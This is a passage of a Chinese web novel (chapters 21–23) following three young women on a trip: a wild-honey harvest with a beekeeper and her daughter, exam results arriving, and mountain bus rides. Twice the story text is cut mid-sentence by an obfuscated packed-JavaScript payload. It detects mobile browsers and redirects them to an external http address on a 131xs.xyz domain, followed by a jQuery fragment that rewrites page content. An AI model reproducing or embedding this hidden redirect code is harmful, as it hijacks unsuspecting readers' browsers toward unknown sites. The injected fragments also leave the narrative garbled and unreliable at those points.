李亚比起昨日,话格外多:“上车前先拍个车牌不?” 昭岁:“……” 她真不认为警惕搭便车是一件值得笑话的事情。当下没阻拦,是认出了这是养蜂车,酒店宣传上有助农的情况,再联想李亚的行踪,估摸着就是附近的蜂农。 _ 上车后,两人没坐,先是稍稍蹲着。 映年把两袋行李叠在一块节省空间,咚咚则用雨衣内里干的那层,盖在椅凳上,她们坐在淋湿的那面。刚淋得不说多湿,坐在车里的布面座位上,难免弄脏。 “过两天就好了,我胳膊上手上都快没反应了,就脸上会有点。”李立沐对肿起的嘴皮过意不去,她指了指靠近耳根的左脸颊,“怎么中招的?” 映年:“那边山上都没什么花,怎么挂着个蜂房?” 李立沐:“估计不懂行的镇民搞的吧。” “一个人车很辛苦吧?”映年说。 李立沐:“习惯了。” 映年不太喜欢说家里的事情,但见着李立沐,难免亲切,便只讲:“以前我爸妈也跑货车。” “难怪。”李立沐大悟般,又替她庆幸,“还好你们姐妹能互相陪着。” 映年低头苦笑了,没多说,点点头。 车上有股清新的薄荷味,卡牌的地方是卷起了几颗嚼完的口香糖。后视镜挂着李亚和司机的合影,晃荡着,玻璃最边缘张贴着“立沐蜂蜜”的宣传品牌。 映年拿着手机在搜,零星几个短视频蹦出来,点进账号,几条视频的定位天南海北,出镜的女人无一例外驾驶座这位,每次开头都是以“我是沐姐”作为问候。 不止她,咚咚也在搜。 只不过…… “大家好,我是沐姐,今天车来到了玫瑰花……” 为什么,映年转头对视咚咚,你要放出声音? 李立沐:“你知道我?” 映年退出视频,抠着手指。咚咚打开相机,征求李立沐拍摄同意后,和她聊起来了。 _ 汽车上没几个人,昭岁和李亚各自坐在单座上。 群消息一阵在震动,她没忍住,翻开看了几张截图,心头慌,又退出来。在朋友圈里囫囵刷了几下,想起早上拍的薰衣草还没发,于是删删减减把游客照排版好,编辑文字时,心念一动,又把一片垃圾也放到了排版里。文案编辑些:观景同时要保护景观。 她转头问起李亚:“你们组织平时活动多吗?” “卖蜂蜜的话偶尔卖,”李亚说,“遛狗的话天天溜两趟。还有,纠正你,我没组织。” 遛狗。 昭岁被她的说法逗笑了。真有这般冷漠,何必可怜她们,来搭顺风车。 “我其实想了解加入的,这种生态保护组织。” “狗拉在山上,可不是污染环境。” “我平时经常参加志愿活动。”昭岁又说了一通。实际这些更多是黄柠檬的经历,昭岁只是偶尔参与。 “哦,那我每天都去,怎么还是零小时?”李亚兴趣一下降下来,直说,“你少在网上发这种攻略贴,就算是保护环境了。” “不会吧?你零小时。” “这小时数有那么重要吗?” 昭岁沉默了,她想起映年说的“加分”那席话。 “薰衣草园不也拉动经济吗?我看新修民宿呢。”昭岁又说。 “很多是外来客租房租地皮修的。” “你不是当地人吗?” “是啊,当地人在捡垃圾。” “也不能以偏概全吧,”李亚说,“我早上也是拎着一袋子下来的。” “那你那堆垃圾怎么来的?” “……” 见昭岁沉默,李亚后仰,摘下帽子,盖在脸上,遮住正脸。 她这副模样,昭岁转头坐正了。 有人陆续点赞朋友圈,相熟的朋友问她查到没,姐妹群异常安静,估计是一同相约在奶茶店里面谈了。昭岁又点进网站,刷新几次,还是卡顿着,心都快磨平了。刚想退出来,成绩刷新出来。 数字毫无预兆地迸进眼里。 总分和估计差不多,就是平时的水平,在一本线徘徊,这次将将超过几分。数学比她估分好太多,不知道是不是真的错算那道几何题,群里哀嚎一片的地理,她的分数也稳定住了,问题出在语文题,居然刚刚及格。 无波无澜,昭岁的成绩就是这样。 她把分数截图发给了班主任,又发给齐美裳,先一步拨过去了电话。 齐美裳缓了几口气,说:“我还午休睡不着呢。” “哪有这么夸张,晚点查又影响不了分数。” “慌啊,你俩出去,你爸昨晚都没睡着。”齐美裳声音放松,“你给你爸说没?” “没。” “给他打个电话吧。” “……” “听见没?” “好。” “报志愿的时候问问你姐。” “我们都不是一个水平的。” 母女拉扯来去,叮嘱安全,挂了电话。 昭岁打开通讯录,备注里“爸”还没改过来。刘海洋离世前,齐美裳似有预兆,先一步把他的号码转成副号,现在持机人是齐美裳。 至于祁孝逑,备注的是“025”。她本想发条截图给他算做通知,踌躇几秒,还是拨了出去。 “爸,出分了。” “你妈刚发我了。” “我语文考得不太好。” “没事,又不看单科。” “我是刚查到,先给妈打的电话。” “我知道。” 短暂的沉默。 “我挂了。” “好,你玩得开心。” 挂断电话,昭岁收到了一条祁孝逑的转账,她暂时没理。她把分数挨个发给来问候的朋友,划着下去,大霜已经落到下面了。螺市查分是昨晚吧?她又点开大霜的朋友圈,没新的内容。也是,大霜不是爱发这些的人。 有人陆续回复她,多是感慨昭岁一如既往的稳。 黄柠檬:我跟你同分! 黄柠檬:我可以读师大的学前教育了! 黄柠檬:你报哪? 昭岁:没想好。 黄柠檬:没事,还有几天可以想。 黄柠檬:要不要和我去一个学校? 昭岁:不要! 肩膀突然被拍一下。 昭岁扭头往后看。 “萤火虫看不了,要不要体验摘野蜜?”李亚邀请时,语气还是淡淡的,“不是带你去捡垃圾。” “要!” _ 养蜂车停在公交车终点站。 雨一颗一颗落,疏而轻。 听说李亚要上山,李立沐顿了片刻,熄火也下了车。 “不赶高速路了?” “那我走了?” 李亚盯着李立沐,转过头。 咚咚自然要陪昭岁一块上去,映年还是怕,嘴皮上的肿胀还没消呢。 “今天要赶路,过了这次,可没机会让你明早来了。”咚咚说。 映年想起早上的收获,又去摸编织袋里的防虫剂。 “有什么好怕的?我妈和掏蜂窝的毒蛇博斗过,赢了。”李亚说着,还是扔了一个防蜂衣给她。 昭岁:“……你说得我都怕了。” “上山打伞嘛?”咚咚问,“穿雨衣。” “都不顶用。”李亚说。 映年个子比李立沐大,穿上衣服要弓着腰,走路不太方便,倒真像是漫步的宇航员形象。 咚咚笑话:“接收到卫星信号没?” 昭岁问:“热吗?” 映年:“现在还好,估计上山就热了。” 同样是上山,这条山路比起薰衣草那一带难走。李亚走在前面,用捡来的竹竿子去薅草到一边开路,昭岁在第二位,映年最中间,咚咚则和李立沐并排着在走。 林间落叶松针复杂,踩在上面,不留神身体就突然往下落半尺,稳住时心还在跳,低头去看鞋面湿漉漉沾上了黄稠的叶片。高耸的竹林即在一片,有被砍伐露出半桶的竹芯,蕴着水,上面飘着不知名的褐色小虫,远看就像是斑点。 再往里走,过了竹林区,到西风河边走,这条路顺畅,只有些草丛。 昭岁同李亚闲聊。 “每次采完,还是留在原地,和蘑菇一样?” “如果没被人发现的话。” “以前采蜜要走这么远吗?” “就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049829|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个地方,”李亚说,“不过出发点不一样,我们从前房子在薰衣草园里边。” “哦,我就说怎么还收费上山看景呢。”咚咚说。 “她收你多少,我回头转你。”李立沐在后头听见了。 “没事,就当捐给环保了。” 李立沐没勉强,退了另一个方案:“那回头你带罐蜂蜜走。” “装不下啦!” 走过河边,再往缓坡上山。这一带植被多为灌木,偶尔有数稍稍高于头顶。昭岁原看着觉得还好,真到走进树丛里,枝桠乱窜,直捅皮肤,稍稍侧身,就留下一道浅白色的口子。 咚咚怕镜头刮到,盖上盖子收进包里。藤草环绕,踏步要跟着前面的人脚印,踩实了才走下一步。李亚走得快,或者说咚咚走得慢,昭岁和李亚走在前面,后面三人落了几个身位。 李立沐大喊了一声:“李亚!” 李亚停下来,还以为是要等人,转头说话却是:“赶快点,等会赶不上高速路了。” 话这么说,李亚没往前走,让昭岁暂时留在原地,下到河边的芦苇丛里,掰了几个香蒲下来。 见这副情况,李立沐也没法。 带人上山的事情,李立沐是不愿意的。李姥姥从前是在山崖上养蜂的,踩在岩壁上飞檐走壁,周边想学,不如她轻巧,每次她挂在上面,李立沐就提心吊胆一阵。 可舍掉也不可能。 昭岁还能跟得上李亚的脚步。她体能不行,走这山路,更多是胆量。 一片杨梅园的采摘,都是相熟的邻里乡亲帮忙采摘。齐美裳对林间地头熟悉,昭岁不逞多让,钻进林子里没有任何负担,就算杨梅园拆了,假期和朋友们登山徒步也是常有的事。 这条路有人带着,不算难走。 穿过这片丛林,又走了快二十分钟,走到了山腰上。雨已经停了,树枝树叶上的水惹得她们浑身湿漉漉的。 杉树长得高,枝叶繁盛,这和杨梅树分叉多不一样,底部至少有四米高的光秃树干。 李亚往上指,枝桠上挂着一坨不规则的臀圆状蜂巢。 爬树的活儿,李亚想来,被李立沐抢了先。 李立沐就这么生生地踩在树干上,抱住了。她双脚弯折,膝盖并拢箍着树干,钉鞋踩在树皮上,双手环抱树干,头朝左,右脸紧贴着粗糙的树皮。沧桑的脸将快融为一体,眼窝在挤压下显得突出,嘴皮打颤,张着匀又密的吐气。 一“嚓”就上去一尺,一鼓作气,上了一米远,稍稍些几秒,又是“嚓嚓”几声,纤维制的围腰,磨得很响。年轻时候,能够一鼓作气上去,还是年纪上来,大不如前,到中途要休憩好多次,才能继续往上爬。 李亚仰头望着,心头担心,又怕真说话干扰到李立沐。咚咚举着相机在拍,举得高,昭岁帮着端着。 李立沐还在往上升。这很像是昭岁平时拼积木一样,每次按上一颗,都会有“咔”声,可这远不是娱乐。李家就是靠着飞檐走壁的本事起家的。 真要形容,更应该是盘踞的藻类,泛着油润的光,顽强地贴在上面,呼吸时喘着大气,感受摇曳树叶间落下的水滴滋润,不愿意就此干瘪。 巨大地橘红太阳高悬在流云之后,它照耀时,她就在呐喊,它隐秘时,她就在上升。到第一个主分叉口,李立沐拐了方向,蹬腿上了枝干,趴在上面大口喘气。 蜂窝还在更上面。 “你下来吧,妈妈,我来。”李亚大吼。 李立沐趴了一会,坐了起来,说话声涩涩的:“少和我讲话。” 休息了会儿,李立沐继续站起来,环抱住树干,往上攀。 “这个点,怎么定这么高的地方?”映年隔着防蜂衣说话,瓮声瓮气的。 “不然就不是我们的了。”李亚说。 三人了然。 没主的树果子,通常是下方还没成熟就被人摘了,上方则是树熟后落在地上,砸个稀巴烂。 云层散去,太阳彻底露了出来。暖洋洋的洒下阳光,抬头时,李亚看见的是光晕中李立沐的剪影。 李立沐终于到了蜂巢处。她不由自主眺望远方,天边是蓝与橙的交界,混合交融有种荒谬的紫色,再想,不对,那就是薰衣草园,又想,噢,从前是她们的栖身之所。 “我要砍了!”李立沐朝下方吼。 李亚带着三人后退了两步。 香蒲点燃,有烟出来,蜜蜂被熏得乱窜,她挥动的镰刀抛开挡视线的,去摇树干,树叶上的水唰唰往下落。 只剪一部分,再留一部分放在分叉的枝桠上。蜂巢不好往下降,便直接坐在树上,分解外面的部分放进来罐子里。 往下降就容易些,招式不同上坡,这没那么费力气,可以慢慢往下走,如履平地。 这一身攀树的灵巧劲儿和胆识,或许真能不惧蛇毒,大挥镰刀,斩它七寸。 落到地上,她把罐子扔给了李立沐,蹲着身子去调整鞋子的位置。咚咚还想采访两句,被人瞪过来,只拍到了背影。李立沐闷声不说,往下山的路走,步伐越来越快。 她想赶在下一场雨来前下山。 四人追着跟在后面,一同下山了。 到路口,李立沐坐在石墩子上,撑着腰喘气,李亚帮着扇风。 “以后别拉着我上山。”李立沐有气。 “都说了让我爬。”李亚说。 “上次摔得不够狠?”李立沐说,“陪也陪了,回去把薰衣草那一段的蜂箱撤了,知道不?” 李亚没说好,也没说不好。 昭岁蹲着清理裤子上粘的树叶,也给咚咚清理干净了。映年在脱防蜂衣,一层拨下来,她身上没被水打湿,倒是除了一层汗。 李立沐头发梳得紧,那么大的动作,还是一丝不苟的发型,走近了看,昭岁才发现是发簪不是塑料的,这个质感,更像是……骨头。 “是石头工艺的,”李立沐注意到目光,说话时带着哀婉,颓势尽显,“打蛇都是说着玩的。” 李亚眼神凌厉:“就是真的。” 哪怕不是,也得是。 必须是。 昭岁不得不联想到李亚说起“和蛇搏斗”时,眉飞色舞的表情。视线过去时,李亚已经转身上车去了。 22.第 22 章 养蜂车开走了。 三人在原地等公交车,昭岁手里捧着一罐带着点树枝的蜂巢。 昭岁冒出一句:“这边旅游发展前景很大,没必要远走的。” 这话让映年看过来。 “薰衣草蜜应该也算是比较好,价格也能卖上去,是没问题的。”昭岁继续说。 “花期多长?” “那就再做点别的生意。” “别的什么生意?” “嗯……卖点吃的啊,坐民宿啊,或者说可以……” “还可以什么?” “呃……可以提供什么游览品之类的。” “那你消费了什么?” “……”昭岁没再讲话了。 映年拍了拍她的肩膀:“选择本来就有两面性,在经济情况下,取舍很正常。” 昭岁不敢看映年。她不得不去想,如果不是经济情况下的选择呢?齐美裳的选择。又去想,沈烟比齐美裳有钱许多,或许映年早就“乐不思蜀”了吧。 ——后面这想法坏了,更像是得益者为安慰自己的良心,而去贬低另一方。况且,映年真要认沈烟当妈,和自己认刘海洋当爸,没什么区别。 更得体的想:应该是映年理解当年齐美裳的选择。这样想,昭岁又觉得不好,对映年的要求太高了。但以上所有的假设,又都是把齐美裳的选择架在“罪行”之上,这更刻薄。 她只能终止设想。 咚咚突然说:“还有个人选择吧,蜂车价格可不低的。” 昭岁和映年的视线看向她,又转而望向对方,最后撇开视线。 谁也没说话了。 咚咚又说:“分开也挺好的。” 她就是这么觉得的。 每次家里父母吵架,到一方实在无法回嘴,就献上了杀手锏:“咚咚明早还要上学呢的。”到后头,三姥爷死了,咚咚搬去和三姥姥一块住,这场架却再也出现过。咚咚如释重负。 尚方宝剑一折断,谁也亮不出招,还是说,从前的剑拔弩张就是一场场表演?咚咚不清楚。表面的平和维持了许久,只要她不细究,就能装作看不见。 一旁的昭岁和映年错身站着,谁也没搭话了。 昭岁和李亚加了好友,正在查看她推送的链接,报名第一条要求就是要成年人。李亚说没有加入组织,这话是真的。 她填写资料,到后面的栏要选职业,她选择了“学生”,下面立马新增了一排两个窗口,前面的是地区,后面的学校名称。 到这,昭岁觉得索然无味,退了出来。 弹窗又冒出来:“未保存信息是否临时保存?” 看着,迟疑片刻,她点了“是”。 李亚的微信头像是张风景照,昭岁点开,才发现不对,还有个人。那人穿着一身“宇航服”,好像是在树上漫步,手中握着火把。 点开朋友圈,李亚的背景正好是李立沐举着相机在树下拍照。 昭岁笑了。 三人站了一会儿。 早上爬了两次山,昭岁站着累,身上湿漉漉的,站着累,也不怕脏了,想要直接坐在台阶上。映年还站着,把滑板拿出来放在地上,让她们坐。 昭岁和咚咚背靠背坐在一起。 “你呢?” “站着。” 站了会儿,映年倚着车牌柱子。 “坐我腿上吧?”咚咚邀请。 “不要。”映年拒绝。 “嫌弃我?”咚咚玩笑,“那坐昭岁腿上也行。” “可以。”昭岁点头。 “不要。”映年还是拒绝。 三人等了一会儿。 映年蹲了下来。 “坐会儿不?”咚咚又问。 “不要。”映年换了只脚往前倾,去理鞋带,“整一下鞋带。” 昭岁没憋住笑。 好在公交车没多久来了。 这是辆面包车型,加上司机只有七个座位,没站的空间。 现在还剩两个座位。 “你俩先去吧。”咚咚说。 “你俩去。”昭岁还不太能和映年一块。 映年本打算跨上去了,听着二人推脱,她停了脚。 司机问:“还走不走?” 公交车门“砰”一声关上,车开走了。 昭岁和咚咚坐在最后排的位置,身后还是垫着雨衣。 咚咚说:“应该我留下的。” 昭岁说:“我留下比你留下好。” 七座车中途站,很有可能没座位,不可能硬等着三人座位,分开先走是更好的决策。 这是上山的路。 行进的速度很快,弯道曲曲折折,很像是回形针,由无数个s弯组成,一圈一圈在绕。 颠簸让人摇来摇去。 昭岁身形比咚咚小,坐在中间的位置,最里边的是一个老太太。她本想尽量抓着前排的靠背,稳定住身形,无奈离心力还是左右偏移,时不时会贴着老太太。好在老太太没怪她,往右偏时,也会往她的方向贴过来。 两人在弯道中摇摇晃晃。 饶是昭岁不晕车,这般折磨,也有点难受了。 所以她讨厌s弯! 对比下,咚咚坐得就比较稳了,还有功夫去玩手机,刷了一下地图。 咚咚问:“没看到萤火虫,遗憾吗?” 昭岁想了想,说:“有,但也不多。” “怎么说?” “看不到,它们自己藏好了吧。” “也是。” 咚咚听着,没说话,点开临时群消息,解散了群聊。她重新端着相机,记录面包车的情况。 车很快到了高地。这一片没什么树,太阳再次躲进云层,从车窗望出去,弯道密集,薄雾在上宛如一层袈裟,把回环的路镊得越来越紧,成了一圈并不柔软的丝绸。 昭岁想在这中寻找映年的身影,可再转弯,就见不到了。 越往后,公交车人就剩咚咚和昭岁。 两人往前挪了位置,坐在第二排的双人座。 咚咚说了车迷的情况,想让司机特意在终点站多停了一阵,让昭岁和咚咚轮流拍了照片。 这种七座的公交车在山路中比较多,因为弯道太大,大型车转弯不太灵巧。同时这种车型,在安全碰撞测试下独占鳌头,不仅车厢情况有较好保护,燃油也不会发生泄漏。 昭岁记录了站点的路程,赞扬:“师傅开得很稳。” “必须稳啊……这边大巴事故多。”司机说,“都换成了面包车,结果换了,发现事故更多了。” “不会吧!”咚咚诧异。 “座少,赶不上车,有黑车来,情况就不一样了。”司机说。 两人懂了。 昭岁算了一下发车时间和情况,打开微信给映年发了一条消息:不要上黑车。 信号不好,一直转圈。 _ 映年还留在原地。 她倚着公交车站牌站了一会儿,脚踩着滑板边缘把板收起来,握着一端转了几圈,觉得无聊,又没动了。 半晌,滑板被重新放在地上。 映年蹲下,坐上滑板。 刚坐下,听到车来的声音。映年站起来,发现是辆面包车。车停下来,问她要不要走?报了个十块钱一个人。 说着,后车门拉开了。 车上,本是两位的座位,对面放着一根长板凳,上面坐着三个人,往三人座的过道上,放着一个红色的塑料矮凳。这板凳本是一个女孩在坐,现在她弓着起身来,往后退,坐到了后排妇女的腿上。 显然是为了让新的乘客。 车真成了面包,切开来,均匀的气孔分布,又挤得满满当当,咬开却发现是一股酵母的酸味,要是碰撞压扁,怕是没有回弹的机会了。 见映年踌躇,司机又说:“都是赶下山的车,你等下趟,你上去也下不了了。” 这边路况映年不了解。在不坐黑车和不拖后腿上,映年当然是不要耽误昭岁她们,哪怕可能司机是危言耸听,可严重违纪的黑车就另当别论了。 司机本还在劝,头往副驾驶座看过去,语气又变了:“妹子你等下一班车吧,你这袋子太大了。” 说着,他去拉副驾驶的安全带,映年这才发现带子被连接上了车厢后门,方便开关。 门关上了。 映年看着一个漂移消失在拐角的面包车,皱起眉头。 太危险了。 再次坐在滑板上,她才发现地上有一块遗落的二维码牌。 黏在地上了。 本不想管,又想到李亚的保护环境那股劲,还是捡了起来。 公交车来了。映年上了车。 打开手机刷卡时,才发现昭岁的私聊。 她笑了,回消息:上车了。 又补充:公交车。 _ 终点站是在山上的一个度假区。 荒废的度假区。 这一定是有野心的打算。建得很大,一片建筑是原始风格的建筑,统一标修成了茅草屋的样子,若不是招牌的灯箱残破,还真看不出来多荒凉。从站口就有环形的娱乐轨道,上面安装了一辆卡通的火车玩具,还写着十元一人的标价了。往里头望去。 这一片往再往上走一公里,是小型的公交车枢纽地。 车上的人员大多是附近村庄的住户,都下车了。昭岁和咚咚是最后下车,这边有野生的座椅,两人坐着在等映年。要赶下一趟车,得从岔口过去,再走两公里。 找野蜜打乱了编排的计划,时间已经到中午了。昭岁把果干分享出来,留了一个罐子给映年,咚咚也带了风干牛肉,两人一人一条拿在嘴里咀嚼。 牛肉上有辣椒花椒的颗粒,咚咚咬着,口水流下来,“嘶嘶”地喘气,她擦着嘴,感觉麻麻的。 “你和我姐看着差不多了。”昭岁含着牛肉干,去掏咚咚包一侧的保温杯,打开递给她,“你妈吃素了,你带着也没用。” “真有这么夸张?”咚咚打开手机,把前置摄像头调出来,检查嘴皮,“……还好吧。” “今天能到下一站吗?”昭岁问着,她对临时去摘野蜜的情况有点抱歉。 哪怕是共同许可的。 咚咚把手机拿出来,展示给昭岁看。 是微信的对话框,立沐蜂蜜给咚咚转了一笔钱。金额多出了一份,理应是以为映年与她们同行了。 咚咚逗昭岁:“你说我是收还是不收?” 昭岁瞥她一眼。 咚咚继续说:“收了还能多挣一份呢。” 昭岁烦她:“辣死你得了。” 咚咚笑,嘴皮很麻,她收了手机,接过杯子喝了一口水,被烫到,吐了出来,又辣又痛。 笑容转移到了昭岁脸上。她把咚咚手里的杯子拿回来,用膝盖夹着,去拿自己背包的杯子,倒进咚咚的杯子里算是兑凉了,重新递过去。 咚咚坐正,把吞了好几口水,缓过气,拿着手头嚼了一半的牛肉干,感觉眼神都有点木了。 祁孝逑发了新消息给昭岁,让她收钱。昭岁没理。过了会儿,手机抖一下,这笔钱转到了支付宝里。 她想了会儿,打开表情框,信号差,死活没有加载出来。刷新几次耐心耗尽,手打了一个“谢谢”发出去。 感觉太生硬了。 于是点开表情框,开始加载。 缓了一会儿,咚咚问:“零钱在那你是不?” “对,”为了出行方便,出发前还是带了一些现金,昭岁在保管,还没给管账的映年,“等会只能投币?” “不是,我想坐那个火车。” “啊?” “那个火车。” 咚咚以为是昭岁没明白,站起来,指着轨道上的观光火车。 观光火车说是火车,实在抬举。实际和露天的凳子相差无几,不过外形刷成了火车,按这样看,观光客是跨坐在车顶上面。 组织结构是拼接在一块的,可以单独出发的,每一个座位都有投币口,没被封住。 两人站在火车旁。 “这安全吗?”昭岁说着,就这样坐上第二个座位。 “比不得唱儿歌的摇摇车。”咚咚坐在昭岁前面。 “这靠什么运行,是接电吗?”昭岁踩了踩脚侧的挡板,有回声,“内置电源,还有电没。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053983|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “试试不就知道了。”咚咚说着,把十块钱塞进了投币口。 火车“轰轰”两下,真如月台上的鸣笛。 缓缓向前。 咚咚不由自主抓住了前面的栏杆。 “真可以哟。”昭岁惊喜。 “快来,追我。”咚咚叫。 火车往前开了两米,突然停了。 昭岁:“……” 咚咚:“……” 不是,这么废钱吗? 咚咚轻轻踢了两下,还是没动。她双脚从踏板上离开,踩在地上,火车又开始动了,从她的胯下逃走了。咚咚追了两步,复而坐下,速度缓下来,半米后又停下。 “十块钱服务不周,”昭岁已经起来了,走到咚咚身旁,叉着腰笑,“电不够了估计。” “你来试试?” “那你起来。” “我起来了,它就要跑了。” “没比你轻多少,差不多。”昭岁没打算上车,走到咚咚背后,弯下身,去拉着后面的栏杆,去推火车,“不是你想坐吗?” “那等会儿换你。”咚咚说。 火车缓缓向前,在轨道有节奏地“吭吭”响,上午刚下过雨,山林间有土腥味冒出来,真有种童年时玩乐的新奇感。 推了一段路,是个缓坡,昭岁放手,咚咚也能稳稳当当前进。 她站在一旁走着。 两人看着周围的招牌,全是小吃饮料,还设置了排队处。可能在文旅兴盛的那些日子,游客络绎不绝,可惜上山路太麻烦,又没有独一无二的景点,渐渐就缺了人流,店铺也关闭了。 不说这,薰衣草园建好,周围的商铺都不见得游客场场爆满。 “你开店位置定了没?”昭岁问。 “别人拿走了。” “你不是交了定金了吗?”昭岁惋惜,“那位置这么好。” 咚咚沉默。 昭岁笑:“没事,这么多的商铺。” 下坡后,有一节腾空的轨道,被架在台阶的边缘,是个上坡的回环,咚咚起身来,让火车自己往前开。 没了重力,火车行驶速度加快,攀上了上行的轨道。 这条台阶路被封锁了,昭岁和咚咚只能绕行,去追顶上的火车。可不清楚景区的路线,两人跑来跑去,还是没有上面的平台。 下车时,映年只看见座位上的两个背包。 她电话拨向昭岁:“在哪呢?” 昭岁:“追火车!” 映年:“啊?” 她往度假区走,听到“吭吭”的声音,轨道有轻微的震动,一辆火车往这边驶来。 “姐!”昭岁叫她。 手机听筒里有,现实也听得见。 映年转头看见人跑过来,挂断了电话的。 本是最前排火车,到了队伍的最后,停车时发出“哐哐”,衔接上了上一辆车,又推着整个列车前进了一步。 原本的车厢上,搭了一片大叶子。 昭岁惊奇的发现:“好漂亮,这叶子,很少有三种颜色的叶子吧!” 映年环伺一周,指了指高处的橡皮树,一整棵树粉白绿交错。 昭岁无语,看向咚咚。咚咚帮腔:“是,真幸运。” “这种人工培训市场挺广的,锦化销路不错……”映年说着,发现昭岁的眼神不对了,她意识到,“是,三色的不是那么多的。” 咚咚也看向了昭岁。两人不说话了。 两公里路不远不近。咚咚和昭岁走在前面,映年提着编织袋走在后面。 编织袋着力点不方便,她干脆把滑板放下来,借助滑板的力带着走。只是这条路是下坡,刚放下去还没调整后,就往下面在滑。映年为了控制编织袋,不得不跑起来在走,像是在遛狗,越来越快。 超过了昭岁二人。 映年:“我先走一步。” 话还没落,滑板卡住石子,改变的方向,映年来不及调整,连板带包掉进了排水渠里。 映年站在一边,拍了一下脑门。 “你走的挺远的。”咚咚说。 滑板扯上了,映年本想着继续去扯编织袋,又担心爆装备在这了,干脆跳下去,好在排水渠水薄,皮靴踩在里面尚可。她蹲下身捧住编织袋下面,咚咚和昭岁在上面拽,捞了出来。 “你最好今天就给我换了。”咚咚受不了这破包了。 映年两手撑着地,重新跨上来。 她有点羞赧。 _ 小型公交车枢纽站。 黑车司机说得没错也错,没错是的确要收班了,错是映年的轮次的确赶上了这班车发车前。 可是座位不够。 还剩两个。 “你俩先走吧,我想办法下去。”映年说。 “你想什么办法?”咚咚白她一眼,自问自答,“哦,排水渠里冲浪下去。” 映年:“……” 昭岁见她吃瘪,心情爽。 没计划中的车,下山的车总有,三人上了一辆中巴车。单座位都有人了,剩下并排的座位,昭岁本想挨着咚咚坐,可咚咚故意坐在另一个乘客的外面,她只好坐在双人座上。 映年把包放在驾驶座旁边的空地里,走过去,看着昭岁坐在过道的位置,低头在玩手机,手里还在转那片三色树叶。她往后走。 注意到这,昭岁松了一口气,又有点生气。 莫名其妙的。 帮着后面的老太太把背包放在了上面货架,映年转返回来。 站在昭岁旁边。 昭岁抬头。 “你坐靠窗还是我坐?” “哦。”昭岁站起来,往里挪了一下,坐在窗边。 映年坐了下来。 昭岁煞有介事地摸到安全带扣上,映年有样学样也扣上了。 山路没有因为下山而平整,依旧摇摇晃晃。昭岁没多大心思看风景。安全带箍得□□疼,对稳定身形作用不大。昭岁抠着玻璃缝稳住身形,到后来发现于事无补。 当映年往她这处摇过来时,昭岁也松了手,靠着映年摇了过去。 弯道里,她们来回摇去。 紧贴在一起。 23.第 23 章 下山吃了顿饭,又接着赶路,坐上车走,连续转了四趟车,晚上住进了酒店。再赶了半天路,中途给机会让映年换个登山包,三人走上道算是方便了。 到西风古镇时在下午,在民宿办好入住,三人往古镇去走。 这一片是仿江南风的古镇,小桥流水,蓬船红灯,垂柳在绿得油亮油亮的,一条条的支脉垂在河里。 咚咚去买雪糕,映年和昭岁在一旁等她。 三人是咚咚和昭岁撑一把遮阳伞,映年独自一把,眼下咚咚撑着伞走了,昭岁却没进到映年的伞下。 昭岁在玩手机,群聊里有姐妹分享了一款牛皮手工包,打算报考录取后,找父母寻得奖赏。昭岁点开,价格至多算是轻奢,可数字依旧显眼。她去算要怎么节省生活费才能拿下这个包,为这付出的代价而害怕,但还是没浇灭欲念。 也不一定非要买这么贵的包,稍稍便宜一点的也行。至于开口,昭岁绝不会的。 黄柠檬也觉得这太贵了。她们开始讨论工艺和技法,配不配得上价格,再谈到品牌的事情。黄柠檬对这头头是道,她向来喜欢缝纫,皮具也在研究的范畴。真要说李亚应该“奇怪”的是黄柠檬,她可是爱参与各类志愿活动。 她们还在讨论。 映年突然往前一步,昭岁被吓一跳,没躲,把手机往胸口靠了靠。 “有什么打算吗?” “什么?” 映年没说话,盯着昭岁。 昭岁心头虚,没忍住:“没有,反正上不了鹊大。” “总有别的选项。” 昭岁在等映年举新的例子,比如比如什么学校什么专业,欲盖弥彰的总归都是鹊市的,至多是周边的临近市。 她觉得彼此靠得太近了,不动声色地轻轻往一旁挪了两步。 昭岁若有似无地叹了口气:“我想去北方。” 映年也没多勉强,道:“五姨在那边,总能照顾到的。” 昭岁突然笑出来,她说:“我都成年了,不需要照顾。” 这话让映年愣住。五姨的考虑,不是齐美裳叹息的,是她真这么想。在昭岁的回答后,随之联想的是齐美裳对她工作的“照顾”。 姐妹俩坐着没说话。 昭岁是不想说,怕把话题引深了,映年是还没缓神过来。 映年漫无目的地扫一圈,看到售船票的地方,想去乘船,被昭岁拉住了。 昭岁说:“咚咚晕船。” 学霸映年可是坐过路线的功课,后面会做轮渡的安排,她疑惑:“不会吧。” “这事你别提。”昭岁说。 映年说:“那晚上吧,有什么安排吗?” 昭岁说:“我说了咚咚晕船。” 映年问:“所以我问的晚上有什么安排?没有的话,我自己去就行。” 昭岁话带着气:“没有。” 映年问:“你要不要来?” 昭岁说:“才不要!” 映年沉默会儿,还是认为有必要说清楚:“我可以单独行动的,不一定非要人陪。” 昭岁听着,有种辜负的感觉,她替咚咚鸣不平:“不会让你陪的。” 两人在岸边等了一会儿,咚咚还没回来,耐不住性子,倒回去进了朱记茶馆。 咚咚这会儿站在茶馆边,目光聚焦在台上。 上面有带着戏曲头饰的工作人员,还没唱,衣服还是统一的常服,只挂了袖子,正在练习走位。 舞台摆在一旁的麦克风声卡,鱼缸是空的,没装水没装鱼,里面是漂浮着的气球,五颜六色塞在一起,瞧着也不像是平时会唱曲的场合。 等台上人一甩袖子,果真,没什么风采。 